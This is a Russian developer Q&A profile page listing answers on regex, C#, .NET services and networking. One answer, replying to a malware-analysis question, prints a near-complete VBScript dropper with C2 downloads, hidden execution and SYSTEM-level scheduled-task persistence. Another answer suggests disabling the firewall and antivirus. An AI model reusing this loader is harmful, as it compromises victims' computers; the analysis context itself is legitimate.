C#, .NET Core, ASP.NET Core, React

Немного путешествую и фотографирую: https://www.instagram.com/andreygolubkow/
Контакты
Местоположение
Россия, Томская обл., Томск

Достижения

Все достижения (4)

Наибольший вклад в теги

Все теги (55)

Лучшие ответы пользователя

Все ответы (37)
  • Регулярные выражения. С чего начать изучение?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    regexp.png

    Начни с ними работать и все. Все знания и навыки придут в практике.
    Ответ написан
    Комментировать
  • StackOverflowException в свойствах?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    Создайте private поле, назовите его допустим String[] _savesName.
    Далее перепишите свойство:
    public String[] SavesName
            {
                get => _savesName;
                set
                {
                    _savesName = value;
                    cbSaves.Items.Clear();
                    if (value != null) cbSaves.Items.AddRange(value);
                }
            }
    Ответ написан
    Комментировать
  • Какакой тип .NET приложения выбрать если нужна отказоустойчивость - обычное консольное, ASP.NET или Worker Service?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    Вам может подойти 2 варианта: WebAPI либо Worker Service.

    WebAPI предоставит вам конечную точку(узел) на который вы можете делать HTTP запросы из браузера, через curl и др. Т.е. инициатором какого-то действия будет запрос из вне. Но так как у вас процесс должен работать сам, без участия человека - этот вариант не особо подойдёт, но можно добавить планировщик, например - Quartz, который будет раз в указанное время запускать нужный вам код. А по HTTP вы можете периодически забирать статистику работы вашего приложения.

    Worker Service - работает сам, можно сделать работу по расписанию или по другим условиям. Пишете функцию - она будет вызываться сама. Думаю, вам скорее нужен этот вариант.

    Про отказоустойчивость: вы можете погуглить механизм Health Check, можно настроить автоматическую проверку жизни вашего сервиса и в случае обнаружения плохого состояния - автоматически его перезапустить.
    Ответ написан
    Комментировать
  • Почему не видно компьютера с общим доступом в сети?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    -Изменить размещение на домашняя сеть
    -отключить фаервол/брандмауэр/модуль антивируса
    -проверить настройки домашней группы
    Ответ написан
    3 комментария
  • Многогократно обфусцированная VBA-малварь, как её расколоть?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    boolExitFlag = False
    Execute(opencl = WScript.CreateObject( "WScript.She"+"ll" ).ExpandEnvironmentStrings("%W"+"IND"+"IR%") & "\sy"+"stem32\OpenCL.d"+"ll") 
    if fileExist(opencl) then
    	call Step1
    	Do
    		If Ping("8"+".8"+".8."+"8") Then
    			Call Main              
    			boolExitFlag = True
    		End If
    		WScript.sleep 1000
    	Loop while boolExitFlag <> True
    end if
    Const id = "9846f2d7e24272f38e6f66bf0ff8d7cf.com"
    Const ida = "b6cbc7c8b7f9af070b119184fc26e610.com"
    Const idb = "1GgG2kjrH7YzAq4cr4vZaKrpHYxnbHkFPm"
    sub Main
    	host = id
    	files_list_string = false
    	if Ping(id) then
    		files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    	End if
    	if (files_list_string = False) Then
    		host = ida
    		if Ping(ida) then
    			files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    		End if
    		if (files_list_string = False) Then
    				idb = idb + CStr(CInt(GetBalanceBlockExplorer(idb))) + ".com"
    				host = idb
    				if Ping(idb) then
    					files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    				End if
    				if (files_list_string = False) Then
    					die
    				end if
    		End If
    	End If
    	files_list = Split(crypt(files_list_string), ";")
    	Execute("t" + "m" + chr( 902272/8056 ) & " " + "=" + chr( 8899-8867 ) & "W" + "S" + chr( -7136+7235 ) & "r" + "i" + chr( 800800/7150 ) & "t" + "." + chr( -2736+2803 ) & "r" + "e" + chr( 6538-6441 ) & "t" + "e" + chr( 9157-9078 ) & "b" + "j" + chr( -6763+6864 ) & "c" + "t" + chr( 337440/8436 ) & " " + chr( 35836/1054 ) & chr( -5755+5842 ) & "S" + "c" + chr( -4824+4938 ) & "i" + "p" + chr( 5994-5878 ) & "." + "S" + chr( -909+1013 ) & "e" + "l" + chr( 246132/2279 ) & chr( 140454/4131 ) & " " + chr( -9918+9959 ) & "." + "E" + chr( 1173480/9779 ) & "p" + "a" + chr( 9656-9546 ) & "d" + "E" + chr( 534600/4860 ) & "v" + "i" + chr( 4527-4413 ) & "o" + "n" + chr( 1081-972 ) & "e" + "n" + chr( 323-207 ) & "S" + "t" + chr( 22116/194 ) & "i" + "n" + chr( -6780+6883 ) & "s" + "(" + chr( 3398-3364 ) & "%" + "T" + chr( 223008/3232 ) & "M" + "P" + chr( 898-861 ) & chr( 3949-3915 ) & ")" +  vbcrlf  ) 
    	cmd =  tmp & "\svchost.exe"
    	KillProccess cmd
    	WScript.sleep 5000
    	for i = 0 to UBound(files_list)-1
    		file_name = files_list(i)
    		download "http://m."+host+file_name, tmp + "/"+ getFileName(file_name)
    	next
    	params = files_list(UBound(files_list))
    	shell params
    end sub
    
    Sub die
    	WScript.Quit
    End Sub
    
    Function GetFirstMatch(PatternToMatch, StringToSearch)
    	Dim regEx, CurrentMatch, CurrentMatches
    
    	Set regEx = New RegExp
    	regEx.Pattern = PatternToMatch
    	regEx.IgnoreCase = True
    	regEx.Global = True
    	regEx.MultiLine = True
    	Set CurrentMatches = regEx.Execute(StringToSearch)
    
    	GetFirstMatch = ""
    	If CurrentMatches.Count >= 1 Then
    		Set CurrentMatch = CurrentMatches(0)
    		If CurrentMatch.SubMatches.Count >= 1 Then
    			GetFirstMatch = CStr(CurrentMatch.SubMatches(0))
    		End If
    	End If
    	Set regEx = Nothing
    End Function
    
    function GetBalanceBlockExplorer(address)
    	block_content = getContent("http://blockexplorer.com/address/"+address)
    	if (block_content <> false) then
    		GetBalanceBlockExplorer = "0" + Replace(GetFirstMatch("<td>(\d+(\.\d+)?)</td>\n</tr>\n</table>", block_content), ".", ",")
    	else 
    		GetBalanceBlockExplorer = false
    	end if
    end function
    
    function getFileName(fullpath)
    	arrNames = Split(fullpath, "/")
    	intIndex = Ubound(arrNames)
    	getFileName = arrNames(intIndex)
    end function
    
    Function getContent(url)
    	Dim o
    	Set o = CreateObject("MSXML2.XMLHTTP")
    	o.open "GET", url, False
    	On Error Resume Next
    	o.send
    	If o.status = 200 Then
    		getContent = o.responseText
    	Else
    		getContent = False
    	End If
    End Function
    
    function crypt(str)
    	for i = 1 to Len(str)
    		flag = Len(outout)
    		temp = Asc(Mid(str, i, 1))
    		If temp > 64 and temp < 78 Then outout = outout & Chr(temp +13) 
    		If temp > 77 and temp < 90 Then outout = outout & Chr(temp -13) 
    		If temp > 96 and temp < 110 Then outout = outout & Chr(temp +13)
    		If temp > 109 and temp < 123 Then outout = outout & Chr(temp -13) 
    		If Len(outout) = flag Then outout = outout & Chr(temp)
    	Next
    	crypt = outout
    end function
    
    Function Ping(strHost)
        Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_PingStatus where address = '" & strHost & "'")
        z = 0
        Do    
            z = z + 1
            For Each objRetStatus In objPing        
                If IsNull(objRetStatus.StatusCode) Or objRetStatus.StatusCode <> 0 Then            
                    PingStatus = False        
                Else
                    PingStatus = True              
                End If      
            Next    
            wscript.sleep 200
            If z = 4 Then Exit Do
        Loop until PingStatus = True
        If PingStatus = True Then 
            Ping = True
        Else
            Ping = False
        End If
    End Function
    
    Function download(sFileURL, sLocation)
        
    	Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    	objXMLHTTP.open "GET", sFileURL, false
    	On Error Resume Next
    	objXMLHTTP.send()
    	do until objXMLHTTP.Status = 200 :  wscript.sleep(1000) :  loop
    	If objXMLHTTP.Status = 200 Then
    		Set objADOStream = CreateObject("ADODB.Stream")
    		objADOStream.Open
    		objADOStream.Type = 1
    		objADOStream.Write objXMLHTTP.ResponseBody
    		objADOStream.Position = 0    
            Set objFSO = Createobject("Scripting.FileSystemObject")
    		If objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation, true
    		Set objFSO = Nothing
    		objADOStream.SaveToFile sLocation
    		objADOStream.Close
    		Set objADOStream = Nothing
    		download = True
    	Else
    		download = False
    	End if
    	Set objXMLHTTP = Nothing
    End Function
    
    Function fileExist(filename)
    	Set objFSO = Createobject("Scripting.FileSystemObject")
    	fileExist = objFSO.FileExists(filename)
    End Function
    
    function folderExist(folder)
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	folderExist = objFSO.FolderExists(folder)
    end function
    
    sub createFolder(folder) 
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	if folderExist(folder) = false then 
    	objFSO.CreateFolder folder
    	end if
    end sub
    
    sub shell(cmd)
        dim objShell
        Set objShell = WScript.CreateObject( "WScript.Shell" )
        objShell.Run cmd, 0, false
        Set objShell = Nothing
    end sub
    
    sub copy(from_path, to_path)
    	dim filesys
    	set filesys=CreateObject("Scripting.FileSystemObject")
    	If filesys.FileExists(from_path) Then
    		On Error Resume Next
    	   filesys.CopyFile from_path, to_path
    	End If
    end sub
    
    sub hideFolder(folder)
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	Set objFolder = objFSO.GetFolder(folder)
    	If objFolder.Attributes = objFolder.Attributes AND 2 Then
    		objFolder.Attributes = objFolder.Attributes XOR 2 
    	End If
    end sub
    
    FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)
    
    	DIM objWMIService, strWMIQuery
    
    	strWMIQuery = "Select * from Win32_Process where ExecutablePath like '" & strProcessName & "'"
    	
    	SET objWMIService = GETOBJECT("winmgmts:" _
    		& "{impersonationLevel=impersonate}!\\" _ 
    			& strComputer & "\root\cimv2") 
    
    
    	IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
    		isProcessRunning = TRUE
    	ELSE
    		isProcessRunning = FALSE
    	END IF
    
    END FUNCTION
    
    Sub KillProccess( myProcess )
    
        Dim blnRunning, colProcesses, objProcess
        blnRunning = False
    
        Set colProcesses = GetObject( "winmgmts:{impersonationLevel=impersonate}" ).ExecQuery( "Select * From Win32_Process", , 48 )
        For Each objProcess in colProcesses
            If LCase( myProcess ) = LCase( objProcess.ExecutablePath) Then
                blnRunning = True
                myProcess  = objProcess.ExecutablePath
                objProcess.Terminate()
            End If
        Next
    End Sub
    
    sub Step1
    	Execute("b" + "a" + chr( 119715/1041 ) & "e" + "_" + chr( 457368/4484 ) & "o" + "l" + chr( -6439+6539 ) & "e" + "r" + chr( 9665-9633 ) & "=" + " " + chr( 338691/3893 ) & "S" + "c" + chr( -4893+5007 ) & "i" + "p" + chr( 5040-4924 ) & "." + "C" + chr( -8119+8233 ) & "e" + "a" + chr( 9623-9507 ) & "e" + "O" + chr( -9347+9445 ) & "j" + "e" + chr( 205-106 ) & "t" + "(" + chr( -2037+2069 ) & chr( 8839-8805 ) & "W" + chr( 6186-6103 ) & "c" + "r" + chr( 6941-6836 ) & "p" + "t" + chr( 179354/3899 ) & "S" + "h" + chr( 6717-6616 ) & "l" + "l" + chr( -8409+8443 ) & " " + ")" + chr( 288466/6271 ) & "E" + "x" + chr( -4027+4139 ) & "a" + "n" + chr( 6776-6676 ) & "E" + "n" + chr( 33+85 ) & "i" + "r" + chr( 108225/975 ) & "n" + "m" + chr( 5961-5860 ) & "n" + "t" + chr( -6543+6626 ) & "t" + "r" + chr( -9696+9801 ) & "n" + "g" + chr( -9803+9918 ) & "(" + chr( 332826/9789 ) & chr( 3051-3014 ) & "A" + "P" + chr( 521840/6523 ) & "D" + "A" + chr( 291900/3475 ) & "A" + "%" + chr( -9276+9310 ) & ")" + " " + chr( 270642/6294 ) & " " + chr( 147492/4338 ) & chr( 775376/8428 ) & "O" + "r" + chr( 573720/5464 ) & "g" + "i" + chr( 640970/5827 ) & chr( 7523-7489 ) &  vbcrlf  ) 
    	createFolder(base_folder)
    	hideFolder(base_folder)
    	tmp_this = base_folder & "\update.vbe"
    	copy WScript.ScriptFullName, tmp_this
    	shell chr(115)+"chta"+chr(115)+"k"+chr(115)+" /create /"+chr(115)+"c onlogon /tn "+chr(79)+"rigin /rl highe"+chr(115)+"t /ru System /tr "+chr(34)+tmp_this+chr(34)
    end Sub
    Ответ написан
    1 комментарий

Лучшие вопросы пользователя

Все вопросы (50)